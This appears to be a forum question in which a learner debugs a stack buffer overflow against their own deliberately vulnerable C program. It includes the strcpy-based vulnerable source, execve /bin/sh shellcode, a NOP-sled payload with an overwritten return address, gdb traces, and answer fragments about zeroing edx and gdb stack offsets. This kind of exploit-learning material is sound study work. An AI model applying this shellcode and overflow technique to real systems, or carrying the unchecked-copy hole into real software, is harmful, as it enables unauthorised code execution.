I managed to get shellcode to be pointed to by eip by building my executable without safety measures.
However, it does not appear to execute.
Here is the C source of my vulnerable program:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int retval = 0;
char possible_password_1[16] = "possiblepasswrd";
char possible_password_2[16] = "drwssapelbissop";
char user_input_password[16];
strcpy(user_input_password, password);
if(!strcmp(possible_password_1, user_input_password))
retval = 1;
if(!strcmp(possible_password_2, user_input_password))
retval = 2;
return retval;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Not enough arguments\n");
return -1;
}
int correct = check_password(argv[1]);
if(correct)
printf("CORRECT PASSWORD\n");
else
printf("INCORRECT PASSWORD\n");
return 0;
}
Here is the shellcode I am using:
00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80 S......
Here is the buffer I giving my program:
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf ................
00000040: 0c f3 ff bf ....
Here is a part of the stack before the strcpy call (last 4 bytes are the return address):
0xbffff310: 0xb7fff000 0xb7fff918 0xbffff330 0x73777264
0xbffff320: 0x65706173 0x7369626c 0x00706f73 0x73736f70
0xbffff330: 0x656c6269 0x73736170 0x00647277 0x00000000
0xbffff340: 0x00008000 0xb7fb1000 0xbffff378 0x08048523
Here is the same part of the stack after the strcpy call:
0xbffff310: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff320: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff330: 0xe3896e69 0xe1895350 0x80cd0bb0 0xbffff30c
0xbffff340: 0xbffff30c 0xbffff30c 0xbffff30c 0xbffff30c
Here is the shellcode in memory (being pointed to in the overwritten return address):
0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
I set a breakpoint at 0xbffff325
and it gets hit:
(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.
Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
(gdb) i r eip
eip 0xbffff325 0xbffff325
I then step through each instruction and make sure it gets properly executed:
(gdb) x/i $eip
=> 0xbffff325: xor eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax 0x0 0
(gdb) x/i $eip
=> 0xbffff327: push eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328: push 0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d: push 0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332: mov ebx,esp
(gdb) x/wx $ebx
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334: push eax
(gdb) x/wx $eax
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335: push ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336: mov ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338: mov al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al 0xb 11
(gdb) x/i $eip
=> 0xbffff33a: int 0x80
(gdb) si
0xbffff33c in ?? ()
However, after making the system call, there is no shell. The program continues execution, trying to read the addresses as instructions, and I get an Illegal instruction error: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? ()
. What might be the cause of this?
Thanks for any help.
EDIT: The shellcode works with the C wrapper:
yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$
edx
to 0 also?edx
is used as the 3rd argument to the "execve" syscall. <br> Also, are you considering the stack addresses difference between inside and outside GDB, to know better where to point your return address? See this question: How to predict address space layout differences between real and gdb-controlled executions?